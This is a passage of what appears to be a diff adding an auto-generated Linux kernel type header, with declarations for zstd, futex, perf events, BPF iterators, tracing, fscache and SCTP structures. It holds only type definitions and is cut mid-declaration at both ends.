ZSTD_error_parameter_outOfBound = 42, + ZSTD_error_tableLog_tooLarge = 44, + ZSTD_error_maxSymbolValue_tooLarge = 46, + ZSTD_error_maxSymbolValue_tooSmall = 48, + ZSTD_error_stage_wrong = 60, + ZSTD_error_init_missing = 62, + ZSTD_error_memory_allocation = 64, + ZSTD_error_workSpace_tooSmall = 66, + ZSTD_error_dstSize_tooSmall = 70, + ZSTD_error_srcSize_wrong = 72, + ZSTD_error_dstBuffer_null = 74, + ZSTD_error_frameIndex_tooLarge = 100, + ZSTD_error_seekableIO = 102, + ZSTD_error_dstBuffer_wrong = 104, + ZSTD_error_srcBuffer_wrong = 105, + ZSTD_error_maxCode = 120, +} ZSTD_ErrorCode; + +struct ZSTD_DCtx_s; + +typedef struct ZSTD_DCtx_s ZSTD_DCtx; + +struct ZSTD_inBuffer_s { + const void *src; + size_t size; + size_t pos; +}; + +typedef struct ZSTD_inBuffer_s ZSTD_inBuffer; + +struct ZSTD_outBuffer_s { + void *dst; + size_t size; + size_t pos; +}; + +typedef struct ZSTD_outBuffer_s ZSTD_outBuffer; + +typedef ZSTD_DCtx ZSTD_DStream; + +typedef void * (*ZSTD_allocFunction)(void *, size_t); + +typedef void (*ZSTD_freeFunction)(void *, void *); + +typedef struct { + ZSTD_allocFunction customAlloc; + ZSTD_freeFunction customFree; + void *opaque; +} ZSTD_customMem; + +typedef enum { + ZSTD_frame = 0, + ZSTD_skippableFrame = 1, +} ZSTD_frameType_e; + +typedef struct { + long long unsigned int frameContentSize; + long long unsigned int windowSize; + unsigned int blockSizeMax; + ZSTD_frameType_e frameType; + unsigned int headerSize; + unsigned int dictID; + unsigned int checksumFlag; +} ZSTD_frameHeader; + +typedef ZSTD_ErrorCode zstd_error_code; + +typedef ZSTD_DCtx zstd_dctx; + +typedef ZSTD_inBuffer zstd_in_buffer; + +typedef ZSTD_outBuffer zstd_out_buffer; + +typedef ZSTD_DStream zstd_dstream; + +typedef ZSTD_frameHeader zstd_frame_header; + +enum show_regs_mode { + SHOW_REGS_SHORT = 0, + SHOW_REGS_USER = 1, + SHOW_REGS_ALL = 2, +}; + +struct shared_info; + +struct start_info; + +enum which_selector { + FS = 0, + GS = 1, +}; + +struct __arch_relative_insn { + u8 op; + s32 raddr; +} __attribute__((packed)); + +enum pg_level { + PG_LEVEL_NONE = 0, + PG_LEVEL_4K = 1, + PG_LEVEL_2M = 2, + PG_LEVEL_1G = 3, + PG_LEVEL_512G = 4, + PG_LEVEL_NUM = 5, +}; + +enum x86_hypervisor_type { + X86_HYPER_NATIVE = 0, + X86_HYPER_VMWARE = 1, + X86_HYPER_MS_HYPERV = 2, + X86_HYPER_XEN_PV = 3, + X86_HYPER_XEN_HVM = 4, + X86_HYPER_KVM = 5, + X86_HYPER_JAILHOUSE = 6, + X86_HYPER_ACRN = 7, +}; + +enum pti_mode { + PTI_AUTO = 0, + PTI_FORCE_OFF = 1, + PTI_FORCE_ON = 2, +}; + +enum pti_clone_level { + PTI_CLONE_PMD = 0, + PTI_CLONE_PTE = 1, +}; + +struct robust_list { + struct robust_list *next; +}; + +struct robust_list_head { + struct robust_list list; + long int futex_offset; + struct robust_list *list_op_pending; +}; + +union futex_key { + struct { + u64 i_seq; + long unsigned int pgoff; + unsigned int offset; + } shared; + struct { + union { + struct mm_struct *mm; + u64 __tmp; + }; + long unsigned int address; + unsigned int offset; + } private; + struct { + u64 ptr; + long unsigned int word; + unsigned int offset; + } both; +}; + +struct futex_pi_state { + struct list_head list; + struct rt_mutex_base pi_mutex; + struct task_struct *owner; + refcount_t refcount; + union futex_key key; +}; + +enum { + FUTEX_STATE_OK = 0, + FUTEX_STATE_EXITING = 1, + FUTEX_STATE_DEAD = 2, +}; + +struct futex_hash_bucket { + atomic_t waiters; + spinlock_t lock; + struct plist_head chain; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct futex_q { + struct plist_node list; + struct task_struct *task; + spinlock_t *lock_ptr; + union futex_key key; + struct futex_pi_state *pi_state; + struct rt_mutex_waiter *rt_waiter; + union futex_key *requeue_pi_key; + u32 bitset; + atomic_t requeue_state; +}; + +enum futex_access { + FUTEX_READ = 0, + FUTEX_WRITE = 1, +}; + +struct tp_module { + struct list_head list; + struct module *mod; +}; + +enum tp_func_state { + TP_FUNC_0 = 0, + TP_FUNC_1 = 1, + TP_FUNC_2 = 2, + TP_FUNC_N = 3, +}; + +enum tp_transition_sync { + TP_TRANSITION_SYNC_1_0_1 = 0, + TP_TRANSITION_SYNC_N_2_1 = 1, + _NR_TP_TRANSITION_SYNC = 2, +}; + +struct tp_transition_snapshot { + long unsigned int rcu; + long unsigned int srcu; + bool ongoing; +}; + +struct tp_probes { + struct callback_head rcu; + struct tracepoint_func probes[0]; +}; + +enum blktrace_cat { + BLK_TC_READ = 1, + BLK_TC_WRITE = 2, + BLK_TC_FLUSH = 4, + BLK_TC_SYNC = 8, + BLK_TC_SYNCIO = 8, + BLK_TC_QUEUE = 16, + BLK_TC_REQUEUE = 32, + BLK_TC_ISSUE = 64, + BLK_TC_COMPLETE = 128, + BLK_TC_FS = 256, + BLK_TC_PC = 512, + BLK_TC_NOTIFY = 1024, + BLK_TC_AHEAD = 2048, + BLK_TC_META = 4096, + BLK_TC_DISCARD = 8192, + BLK_TC_DRV_DATA = 16384, + BLK_TC_FUA = 32768, + BLK_TC_END = 32768, +}; + +enum blktrace_notify { + __BLK_TN_PROCESS = 0, + __BLK_TN_TIMESTAMP = 1, + __BLK_TN_MESSAGE = 2, + __BLK_TN_CGROUP = 256, +}; + +struct blk_io_trace { + __u32 magic; + __u32 sequence; + __u64 time; + __u64 sector; + __u32 bytes; + __u32 action; + __u32 pid; + __u32 device; + __u32 cpu; + __u16 error; + __u16 pdu_len; +}; + +struct blk_io_trace_remap { + __be32 device_from; + __be32 device_to; + __be64 sector_from; +}; + +enum { + Blktrace_setup = 1, + Blktrace_running = 2, + Blktrace_stopped = 3, +}; + +struct blk_user_trace_setup { + char name[32]; + __u16 act_mask; + __u32 buf_size; + __u32 buf_nr; + __u64 start_lba; + __u64 end_lba; + __u32 pid; +}; + +enum trace_type { + __TRACE_FIRST_TYPE = 0, + TRACE_FN = 1, + TRACE_CTX = 2, + TRACE_WAKE = 3, + TRACE_STACK = 4, + TRACE_PRINT = 5, + TRACE_BPRINT = 6, + TRACE_MMIO_RW = 7, + TRACE_MMIO_MAP = 8, + TRACE_BRANCH = 9, + TRACE_GRAPH_RET = 10, + TRACE_GRAPH_ENT = 11, + TRACE_USER_STACK = 12, + TRACE_BLK = 13, + TRACE_BPUTS = 14, + TRACE_HWLAT = 15, + TRACE_OSNOISE = 16, + TRACE_TIMERLAT = 17, + TRACE_RAW_DATA = 18, + TRACE_FUNC_REPEATS = 19, + __TRACE_LAST_TYPE = 20, +}; + +enum trace_iterator_flags { + TRACE_ITER_PRINT_PARENT = 1, + TRACE_ITER_SYM_OFFSET = 2, + TRACE_ITER_SYM_ADDR = 4, + TRACE_ITER_VERBOSE = 8, + TRACE_ITER_RAW = 16, + TRACE_ITER_HEX = 32, + TRACE_ITER_BIN = 64, + TRACE_ITER_BLOCK = 128, + TRACE_ITER_FIELDS = 256, + TRACE_ITER_PRINTK = 512, + TRACE_ITER_ANNOTATE = 1024, + TRACE_ITER_USERSTACKTRACE = 2048, + TRACE_ITER_SYM_USEROBJ = 4096, + TRACE_ITER_PRINTK_MSGONLY = 8192, + TRACE_ITER_CONTEXT_INFO = 16384, + TRACE_ITER_LATENCY_FMT = 32768, + TRACE_ITER_RECORD_CMD = 65536, + TRACE_ITER_RECORD_TGID = 131072, + TRACE_ITER_OVERWRITE = 262144, + TRACE_ITER_STOP_ON_FREE = 524288, + TRACE_ITER_IRQ_INFO = 1048576, + TRACE_ITER_MARKERS = 2097152, + TRACE_ITER_EVENT_FORK = 4194304, + TRACE_ITER_PAUSE_ON_TRACE = 8388608, + TRACE_ITER_HASH_PTR = 16777216, + TRACE_ITER_FUNCTION = 33554432, + TRACE_ITER_FUNC_FORK = 67108864, + TRACE_ITER_DISPLAY_GRAPH = 134217728, + TRACE_ITER_STACKTRACE = 268435456, +}; + +typedef void blk_log_action_t(struct trace_iterator *, const char *, bool); + +struct bpf_iter_num { + __u64 __opaque[1]; +}; + +struct bpf_iter_target_info { + struct list_head list; + const struct bpf_iter_reg *reg_info; + u32 btf_id; +}; + +struct bpf_iter_link { + struct bpf_link link; + struct bpf_iter_aux_info aux; + struct bpf_iter_target_info *tinfo; +}; + +struct bpf_iter_priv_data { + struct bpf_iter_target_info *tinfo; + const struct bpf_iter_seq_info *seq_info; + struct bpf_prog *prog; + u64 session_id; + u64 seq_num; + bool done_stop; + long: 0; + u8 target_private[0]; +}; + +typedef u64 (*btf_bpf_for_each_map_elem)(struct bpf_map *, void *, void *, u64); + +typedef u64 (*btf_bpf_loop)(u32, void *, void *, u64); + +struct bpf_iter_num_kern { + int cur; + int end; +}; + +struct btf_iter_num; + +struct bpf_netns_link { + struct bpf_link link; + enum bpf_attach_type type; + enum netns_bpf_attach_type netns_type; + struct net *net; + struct list_head node; +}; + +enum perf_branch_sample_type { + PERF_SAMPLE_BRANCH_USER = 1, + PERF_SAMPLE_BRANCH_KERNEL = 2, + PERF_SAMPLE_BRANCH_HV = 4, + PERF_SAMPLE_BRANCH_ANY = 8, + PERF_SAMPLE_BRANCH_ANY_CALL = 16, + PERF_SAMPLE_BRANCH_ANY_RETURN = 32, + PERF_SAMPLE_BRANCH_IND_CALL = 64, + PERF_SAMPLE_BRANCH_ABORT_TX = 128, + PERF_SAMPLE_BRANCH_IN_TX = 256, + PERF_SAMPLE_BRANCH_NO_TX = 512, + PERF_SAMPLE_BRANCH_COND = 1024, + PERF_SAMPLE_BRANCH_CALL_STACK = 2048, + PERF_SAMPLE_BRANCH_IND_JUMP = 4096, + PERF_SAMPLE_BRANCH_CALL = 8192, + PERF_SAMPLE_BRANCH_NO_FLAGS = 16384, + PERF_SAMPLE_BRANCH_NO_CYCLES = 32768, + PERF_SAMPLE_BRANCH_TYPE_SAVE = 65536, + PERF_SAMPLE_BRANCH_HW_INDEX = 131072, + PERF_SAMPLE_BRANCH_PRIV_SAVE = 262144, + PERF_SAMPLE_BRANCH_MAX = 524288, +}; + +enum perf_sample_regs_abi { + PERF_SAMPLE_REGS_ABI_NONE = 0, + PERF_SAMPLE_REGS_ABI_32 = 1, + PERF_SAMPLE_REGS_ABI_64 = 2, +}; + +enum perf_event_read_format { + PERF_FORMAT_TOTAL_TIME_ENABLED = 1, + PERF_FORMAT_TOTAL_TIME_RUNNING = 2, + PERF_FORMAT_ID = 4, + PERF_FORMAT_GROUP = 8, + PERF_FORMAT_LOST = 16, + PERF_FORMAT_MAX = 32, +}; + +enum perf_event_ioc_flags { + PERF_IOC_FLAG_GROUP = 1, +}; + +struct perf_event_header { + __u32 type; + __u16 misc; + __u16 size; +}; + +struct perf_ns_link_info { + __u64 dev; + __u64 ino; +}; + +enum { + NET_NS_INDEX = 0, + UTS_NS_INDEX = 1, + IPC_NS_INDEX = 2, + PID_NS_INDEX = 3, + USER_NS_INDEX = 4, + MNT_NS_INDEX = 5, + CGROUP_NS_INDEX = 6, + NR_NAMESPACES = 7, +}; + +enum perf_event_type { + PERF_RECORD_MMAP = 1, + PERF_RECORD_LOST = 2, + PERF_RECORD_COMM = 3, + PERF_RECORD_EXIT = 4, + PERF_RECORD_THROTTLE = 5, + PERF_RECORD_UNTHROTTLE = 6, + PERF_RECORD_FORK = 7, + PERF_RECORD_READ = 8, + PERF_RECORD_SAMPLE = 9, + PERF_RECORD_MMAP2 = 10, + PERF_RECORD_AUX = 11, + PERF_RECORD_ITRACE_START = 12, + PERF_RECORD_LOST_SAMPLES = 13, + PERF_RECORD_SWITCH = 14, + PERF_RECORD_SWITCH_CPU_WIDE = 15, + PERF_RECORD_NAMESPACES = 16, + PERF_RECORD_KSYMBOL = 17, + PERF_RECORD_BPF_EVENT = 18, + PERF_RECORD_CGROUP = 19, + PERF_RECORD_TEXT_POKE = 20, + PERF_RECORD_AUX_OUTPUT_HW_ID = 21, + PERF_RECORD_MAX = 22, +}; + +enum perf_record_ksymbol_type { + PERF_RECORD_KSYMBOL_TYPE_UNKNOWN = 0, + PERF_RECORD_KSYMBOL_TYPE_BPF = 1, + PERF_RECORD_KSYMBOL_TYPE_OOL = 2, + PERF_RECORD_KSYMBOL_TYPE_MAX = 3, +}; + +enum perf_bpf_event_type { + PERF_BPF_EVENT_UNKNOWN = 0, + PERF_BPF_EVENT_PROG_LOAD = 1, + PERF_BPF_EVENT_PROG_UNLOAD = 2, + PERF_BPF_EVENT_MAX = 3, +}; + +typedef struct pt_regs bpf_user_pt_regs_t; + +enum perf_event_x86_regs { + PERF_REG_X86_AX = 0, + PERF_REG_X86_BX = 1, + PERF_REG_X86_CX = 2, + PERF_REG_X86_DX = 3, + PERF_REG_X86_SI = 4, + PERF_REG_X86_DI = 5, + PERF_REG_X86_BP = 6, + PERF_REG_X86_SP = 7, + PERF_REG_X86_IP = 8, + PERF_REG_X86_FLAGS = 9, + PERF_REG_X86_CS = 10, + PERF_REG_X86_SS = 11, + PERF_REG_X86_DS = 12, + PERF_REG_X86_ES = 13, + PERF_REG_X86_FS = 14, + PERF_REG_X86_GS = 15, + PERF_REG_X86_R8 = 16, + PERF_REG_X86_R9 = 17, + PERF_REG_X86_R10 = 18, + PERF_REG_X86_R11 = 19, + PERF_REG_X86_R12 = 20, + PERF_REG_X86_R13 = 21, + PERF_REG_X86_R14 = 22, + PERF_REG_X86_R15 = 23, + PERF_REG_X86_32_MAX = 16, + PERF_REG_X86_64_MAX = 24, + PERF_REG_X86_XMM0 = 32, + PERF_REG_X86_XMM1 = 34, + PERF_REG_X86_XMM2 = 36, + PERF_REG_X86_XMM3 = 38, + PERF_REG_X86_XMM4 = 40, + PERF_REG_X86_XMM5 = 42, + PERF_REG_X86_XMM6 = 44, + PERF_REG_X86_XMM7 = 46, + PERF_REG_X86_XMM8 = 48, + PERF_REG_X86_XMM9 = 50, + PERF_REG_X86_XMM10 = 52, + PERF_REG_X86_XMM11 = 54, + PERF_REG_X86_XMM12 = 56, + PERF_REG_X86_XMM13 = 58, + PERF_REG_X86_XMM14 = 60, + PERF_REG_X86_XMM15 = 62, + PERF_REG_X86_XMM_MAX = 64, +}; + +enum perf_addr_filter_action_t { + PERF_ADDR_FILTER_ACTION_STOP = 0, + PERF_ADDR_FILTER_ACTION_START = 1, + PERF_ADDR_FILTER_ACTION_FILTER = 2, +}; + +struct perf_addr_filter { + struct list_head entry; + struct path path; + long unsigned int offset; + long unsigned int size; + enum perf_addr_filter_action_t action; +}; + +struct swevent_hlist { + struct hlist_head heads[256]; + struct callback_head callback_head; +}; + +struct pmu_event_list { + raw_spinlock_t lock; + struct list_head list; +}; + +struct perf_cpu_context { + struct perf_event_context ctx; + struct perf_event_context *task_ctx; + int online; + struct perf_cgroup *cgrp; + int heap_size; + struct perf_event **heap; + struct perf_event *heap_default[2]; +}; + +struct bpf_perf_event_data_kern { + bpf_user_pt_regs_t *regs; + struct perf_sample_data *data; + struct perf_event *event; +}; + +struct perf_pmu_events_attr { + struct device_attribute attr; + u64 id; + const char *event_str; +}; + +struct min_heap { + void *data; + int nr; + int size; +}; + +struct min_heap_callbacks { + int elem_size; + bool (*less)(const void *, const void *); + void (*swp)(void *, void *); +}; + +typedef int (*remote_function_f)(void *); + +struct remote_function_call { + struct task_struct *p; + remote_function_f func; + void *info; + int ret; +}; + +typedef void (*event_f)(struct perf_event *, struct perf_cpu_context *, struct perf_event_context *, void *); + +struct event_function_struct { + struct perf_event *event; + event_f func; + void *data; +}; + +enum event_type_t { + EVENT_FLEXIBLE = 1, + EVENT_PINNED = 2, + EVENT_TIME = 4, + EVENT_CPU = 8, + EVENT_ALL = 3, +}; + +struct __group_key { + int cpu; + struct pmu *pmu; + struct cgroup *cgroup; +}; + +struct stop_event_data { + struct perf_event *event; + unsigned int restart; +}; + +struct perf_read_data { + struct perf_event *event; + bool group; + int ret; +}; + +struct perf_read_event { + struct perf_event_header header; + u32 pid; + u32 tid; +}; + +typedef void perf_iterate_f(struct perf_event *, void *); + +struct remote_output { + struct perf_buffer *rb; + int err; +}; + +struct perf_task_event { + struct task_struct *task; + struct perf_event_context *task_ctx; + struct { + struct perf_event_header header; + u32 pid; + u32 ppid; + u32 tid; + u32 ptid; + u64 time; + } event_id; +}; + +struct perf_comm_event { + struct task_struct *task; + char *comm; + int comm_size; + struct { + struct perf_event_header header; + u32 pid; + u32 tid; + } event_id; +}; + +struct perf_namespaces_event { + struct task_struct *task; + struct { + struct perf_event_header header; + u32 pid; + u32 tid; + u64 nr_namespaces; + struct perf_ns_link_info link_info[7]; + } event_id; +}; + +struct perf_cgroup_event { + char *path; + int path_size; + struct { + struct perf_event_header header; + u64 id; + char path[0]; + } event_id; +}; + +struct perf_mmap_event { + struct vm_area_struct *vma; + const char *file_name; + int file_size; + int maj; + int min; + u64 ino; + u64 ino_generation; + u32 prot; + u32 flags; + u8 build_id[20]; + u32 build_id_size; + struct { + struct perf_event_header header; + u32 pid; + u32 tid; + u64 start; + u64 len; + u64 pgoff; + } event_id; +}; + +struct perf_switch_event { + struct task_struct *task; + struct task_struct *next_prev; + struct { + struct perf_event_header header; + u32 next_prev_pid; + u32 next_prev_tid; + } event_id; +}; + +struct perf_ksymbol_event { + const char *name; + int name_len; + struct { + struct perf_event_header header; + u64 addr; + u32 len; + u16 ksym_type; + u16 flags; + } event_id; +}; + +struct perf_bpf_event { + struct bpf_prog *prog; + struct { + struct perf_event_header header; + u16 type; + u16 flags; + u32 id; + u8 tag[8]; + } event_id; +}; + +struct perf_text_poke_event { + const void *old_bytes; + const void *new_bytes; + size_t pad; + u16 old_len; + u16 new_len; + struct { + struct perf_event_header header; + u64 addr; + } event_id; +}; + +struct swevent_htable { + struct swevent_hlist *swevent_hlist; + struct mutex hlist_mutex; + int hlist_refcount; + int recursion[4]; +}; + +enum perf_probe_config { + PERF_PROBE_CONFIG_IS_RETPROBE = 1, + PERF_UPROBE_REF_CTR_OFFSET_BITS = 32, + PERF_UPROBE_REF_CTR_OFFSET_SHIFT = 32, +}; + +enum { + IF_ACT_NONE = -1, + IF_ACT_FILTER = 0, + IF_ACT_START = 1, + IF_ACT_STOP = 2, + IF_SRC_FILE = 3, + IF_SRC_KERNEL = 4, + IF_SRC_FILEADDR = 5, + IF_SRC_KERNELADDR = 6, +}; + +enum { + IF_STATE_ACTION = 0, + IF_STATE_SOURCE = 1, + IF_STATE_END = 2, +}; + +struct perf_aux_event { + struct perf_event_header header; + u64 hw_id; +}; + +struct perf_aux_event___2 { + struct perf_event_header header; + u32 pid; + u32 tid; +}; + +struct perf_aux_event___3 { + struct perf_event_header header; + u64 offset; + u64 size; + u64 flags; +}; + +enum fscache_cookie_state { + FSCACHE_COOKIE_STATE_QUIESCENT = 0, + FSCACHE_COOKIE_STATE_LOOKING_UP = 1, + FSCACHE_COOKIE_STATE_CREATING = 2, + FSCACHE_COOKIE_STATE_ACTIVE = 3, + FSCACHE_COOKIE_STATE_INVALIDATING = 4, + FSCACHE_COOKIE_STATE_FAILED = 5, + FSCACHE_COOKIE_STATE_LRU_DISCARDING = 6, + FSCACHE_COOKIE_STATE_WITHDRAWING = 7, + FSCACHE_COOKIE_STATE_RELINQUISHING = 8, + FSCACHE_COOKIE_STATE_DROPPED = 9, +} __attribute__((mode(byte))); + +struct fscache_cache; + +struct fscache_volume { + refcount_t ref; + atomic_t n_cookies; + atomic_t n_accesses; + unsigned int debug_id; + unsigned int key_hash; + u8 *key; + struct list_head proc_link; + struct hlist_bl_node hash_link; + struct work_struct work; + struct fscache_cache *cache; + void *cache_priv; + spinlock_t lock; + long unsigned int flags; + u8 coherency_len; + u8 coherency[0]; +}; + +struct fscache_cookie { + refcount_t ref; + atomic_t n_active; + atomic_t n_accesses; + unsigned int debug_id; + unsigned int inval_counter; + spinlock_t lock; + struct fscache_volume *volume; + void *cache_priv; + struct hlist_bl_node hash_link; + struct list_head proc_link; + struct list_head commit_link; + struct work_struct work; + loff_t object_size; + long unsigned int unused_at; + long unsigned int flags; + enum fscache_cookie_state state; + u8 advice; + u8 key_len; + u8 aux_len; + u32 key_hash; + union { + void *key; + u8 inline_key[16]; + }; + union { + void *aux; + u8 inline_aux[8]; + }; +}; + +struct p9_dirent { + struct p9_qid qid; + u64 d_off; + unsigned char d_type; + char d_name[256]; +}; + +struct p9_rdir { + int head; + int tail; + uint8_t buf[0]; +}; + +struct msg_msgseg; + +struct msg_msg { + struct list_head m_list; + long int m_type; + size_t m_ts; + struct msg_msgseg *next; + void *security; +}; + +enum sctp_endpoint_type { + SCTP_EP_TYPE_SOCKET = 0, + SCTP_EP_TYPE_ASSOCIATION = 1, +}; + +struct sctp_chunk; + +struct sctp_inq { + struct list_head in_chunk_list; + struct sctp_chunk *in_progress; + struct work_struct immediate; +}; + +struct sctp_bind_addr { + __u16 port; + struct list_head address_list; +}; + +struct sctp_ep_common { + enum sctp_endpoint_type type; + refcount_t refcnt; + bool dead; + struct sock *sk; + struct net *net; + struct sctp_inq inqueue; + struct sctp_bind_addr bind_addr; +}; + +typedef __s32 sctp_assoc_t; + +union sctp_addr { + struct sockaddr_in v4; + struct sockaddr_in6 v6; + struct sockaddr sa; +}; + +struct sctp_cookie { + __u32 my_vtag; + __u32 peer_vtag; + __u32 my_ttag; + __u32 peer_ttag; + ktime_t expiration; + __u16 sinit_num_ostreams; + __u16 sinit_max_instreams; + __u32 initial_tsn; + union sctp_addr peer_addr; + __u16 my_port; + __u8 prsctp_capable; + __u8 padding; + __u32 adaptation_ind; + __u8 auth_random[36]; + __u8 auth_hmacs[10]; + __u8 auth_chunks[20]; + __u32 raw_addr_list_len; +}; + +struct sctp_tsnmap { + long unsigned int *tsn_map; + __u32 base_tsn; + __u32 cumulative_tsn_ack_point; + __u32 max_tsn_seen; + __u16 len; + __u16 pending_data; + __u16 num_dup_tsns; + __be32 dup_tsns[16]; +}; + +struct sctp_inithdr_host { + __u32 init_tag; + __u32 a_rwnd; + __u16 num_outbound_streams; + __u16 num_inbound_streams; + __u32 initial_tsn; +}; + +enum sctp_state { + SCTP_STATE_CLOSED = 0, + SCTP_STATE_COOKIE_WAIT = 1, + SCTP_STATE_COOKIE_ECHOED = 2, + SCTP_STATE_ESTABLISHED = 3, + SCTP_STATE_SHUTDOWN_PENDING = 4, + SCTP_STATE_SHUTDOWN_SENT = 5, + SCTP_STATE_SHUTDOWN_RECEIVED = 6, + SCTP_STATE_SHUTDOWN_ACK_SENT = 7, +}; + +struct genradix_root; + +struct __genradix { + struct genradix_root *root; +}; + +struct sctp_stream_out_ext; + +struct sctp_stream_out { + union { + __u32 mid; + __u16 ssn; + }; + __u32 mid_uo; + struct sctp_stream_out_ext *ext; + __u8 state; +}; + +struct sctp_stream_in { + union { + __u32 mid; + __u16 ssn; + }; + __u32 mid_uo; + __u32 fsn; + __u32 fsn_uo; + char pd_mode; + char pd_mode_uo; +}; + +struct sctp_stream_interleave; + +struct sctp_stream { + struct { + struct __genradix tree; + struct sctp_stream_out type[0]; + } out; + struct { + struct __genradix tree; + struct sctp_stream_in type[0]; + } in; + __u16 outcnt; + __u16 incnt; + struct sctp_stream_out *out_curr; + union { + struct { + struct list_head prio_list; + }; + struct { + struct list_head rr_list; + struct sctp_stream_out_ext *rr_next; + }; + struct { + struct list_head fc_list; + }; + }; + struct sctp_stream_interleave *si; +}; + +struct sctp_sched_ops; + +struct sctp_outq { + struct sctp_association *asoc; + struct list_head out_chunk_list; + struct sctp_sched_ops *sched; + unsigned int out_qlen; + unsigned int error; + struct list_head control_chunk_list; + struct list_head sacked; + struct list_head retransmit; + struct list_head abandoned; + __u32 outstanding_bytes; + char fast_rtx; + char cork; +}; + +struct sctp_ulpq { + char pd_mode; + struct sctp_association *asoc; + struct sk_buff_head reasm; + struct sk_buff_head reasm_uo; + struct sk_buff_head lobby; +}; + +struct sctp_priv_assoc_stats { + struct __kernel_sockaddr_storage obs_rto_ipaddr; + __u64 max_obs_rto; + __u64 isacks; + __u64 osacks; + __u64 opackets; + __u64 ipackets; + __u64 rtxchunks; + __u64 outofseqtsns; + __u64 idupchunks; + __u64 gapcnt; + __u64 ouodchunks; + __u64 iuodchunks; + __u64 oodchunks; + __u64 iodchunks; + __u64 octrlchunks; + __u64 ictrlchunks; +}; + +struct sctp_endpoint; + +struct sctp_transport; + +struct sctp_random_param; + +struct sctp_chunks_param; + +struct sctp_hmac_algo_param; + +struct sctp_auth_bytes; + +struct sctp_shared_key; + +struct sctp_association { + struct sctp_ep_common base; + struct list_head asocs; + sctp_assoc_t assoc_id; + struct sctp_endpoint *ep; + struct sctp_cookie c; + struct { + struct list_head transport_addr_list; + __u32 rwnd; + __u16 transport_count; + __u16 port; + struct sctp_transport *primary_path; + union sctp_addr primary_addr; + struct sctp_transport *active_path; + struct sctp_transport *retran_path; + struct sctp_transport *last_sent_to; + struct sctp_transport *last_data_from; + struct sctp_tsnmap tsn_map; + __be16 addip_disabled_mask; + __u16 ecn_capable: 1; + __u16 ipv4_address: 1; + __u16 ipv6_address: 1; + __u16 asconf_capable: 1; + __u16 prsctp_capable: 1; + __u16 reconf_capable: 1; + __u16 intl_capable: 1; + __u16 auth_capable: 1; + __u16 sack_needed: 1; + __u16 sack_generation: 1; + __u16 zero_window_announced: 1; + __u32 sack_cnt; + __u32 adaptation_ind; + struct sctp_inithdr_host i; + void *cookie; + int cookie_len; + __u32 addip_serial; + struct sctp_random_param *peer_random; + struct sctp_chunks_param *peer_chunks; + struct sctp_hmac_algo_param *peer_hmacs; + } peer; + enum sctp_state state; + int overall_error_count; + ktime_t cookie_life; + long unsigned int rto_initial; + long unsigned int rto_max; + long unsigned int rto_min; + int max_burst; + int max_retrans; + __u16 pf_retrans; + __u16 ps_retrans; + __u16 max_init_attempts; + __u16 init_retries; + long unsigned int max_init_timeo; + long unsigned int hbinterval; + long unsigned int probe_interval; + __be16 encap_port; + __u16 pathmaxrxt; + __u32 flowlabel; + __u8 dscp; + __u8 pmtu_pending; + __u32 pathmtu; + __u32 param_flags; + __u32 sackfreq; + long unsigned int sackdelay; + long unsigned int timeouts[12]; + struct timer_list timers[12]; + struct sctp_transport *shutdown_last_sent_to; + struct sctp_transport *init_last_sent_to; + int shutdown_retries; + __u32 next_tsn; + __u32 ctsn_ack_point; + __u32 adv_peer_ack_point; + __u32 highest_sacked; + __u32 fast_recovery_exit; + __u8 fast_recovery; + __u16 unack_data; + __u32 rtx_data_chunks; + __u32 rwnd; + __u32 a_rwnd; + __u32 rwnd_over; + __u32 rwnd_press; + int sndbuf_used; + atomic_t rmem_alloc; + wait_queue_head_t wait; + __u32 frag_point; + __u32 user_frag; + int init_err_counter; + int init_cycle; + __u16 default_stream; + __u16 default_flags; + __u32 default_ppid; + __u32 default_context; + __u32 default_timetolive; + __u32 default_rcv_context; + struct sctp_stream stream; + struct sctp_outq outqueue; + struct sctp_ulpq ulpq; + __u32 last_ecne_tsn; + __u32 last_cwr_tsn; + int numduptsns; + struct sctp_chunk *addip_last_asconf; + struct list_head asconf_ack_list; + struct list_head addip_chunk_list; + __u32 addip_serial; + int src_out_of_asoc_ok; + union sctp_addr *asconf_addr_del_pending; + struct sctp_transport *new_transport; + struct list_head endpoint_shared_keys; + struct sctp_auth_bytes *asoc_shared_key; + struct sctp_shared_key *shkey; + __u16 default_hmac_id; + __u16 active_key_id; + __u8 need_ecne: 1; + __u8 temp: 1; + __u8 pf_expose: 2; + __u8 force_delay: 1; + __u8 strreset_enable; + __u8 strreset_outstanding; + __u32 strreset_outseq; + __u32 strreset_inseq; + __u32 strreset_result[2]; + struct sctp_chunk *strreset_chunk; + struct sctp_priv_assoc_stats stats; + int sent_cnt_removable; + __u16 subscribe; + __u64 abandoned_unsent[3]; + __u64 abandoned_sent[3]; + u32 secid; + u32 peer_secid; + struct callback_head rcu; +}; + +struct tty_file_private { + struct tty_struct *tty; + struct file *file; + struct list_head list; +}; + +enum dccp_state { + DCCP_OPEN = 1, + DCCP_REQUESTING = 2, + DCCP_LISTEN = 10, + DCCP_RESPOND = 3, + DCCP_ACTIVE_CLOSEREQ = 4, + DCCP_PASSIVE_CLOSE = 8, + DCCP_CLOSING = 11, + DCCP_TIME_WAIT = 6, + DCCP_CLOSED = 7, + DCCP_NEW_SYN_RECV = 12, + DCCP_PARTOPEN = 13, + DCCP_PASSIVE_CLOSEREQ = 14, + DCCP_MAX_STATES = 15, +}; + +enum sctp_msg_flags { + MSG_NOTIFICATION = 32768, +}; + +struct sctp_initmsg { + __u16 sinit_num_ostreams; + __u16 sinit_max_instreams; + __u16 sinit_max_attempts; + __u16 sinit_max_init_timeo; +}; + +struct sctp_sndrcvinfo { + __u16 sinfo_stream; + __u16 sinfo_ssn; + __u16 sinfo_flags; + __u32 sinfo_ppid; + __u32 sinfo_context; + __u32 sinfo_timetolive; + __u32 sinfo_tsn; + __u32 sinfo_cumtsn; + sctp_assoc_t sinfo_assoc_id; +}; + +struct sctp_rtoinfo { + sctp_assoc_t srto_assoc_id; + __u32 srto_initial; + __u32 srto_max; + __u32 srto_min; +}; + +struct sctp_assocparams { + sctp_assoc_t sasoc_assoc_id; + __u16 sasoc_asocmaxrxt; + __u16 sasoc_number_peer_destinations; + __u32 sasoc_peer_rwnd; + __u32 sasoc_local_rwnd; + __u32 sasoc_cookie_life; +}; + +struct sctp_paddrparams { + sctp_assoc_t spp_assoc_id; + struct __kernel_sockaddr_storage spp_address; + __u32 spp_hbinterval; + __u16 spp_pathmaxrxt; + __u32 spp_pathmtu; + __u32 spp_sackdelay; + __u32 spp_flags; + __u32 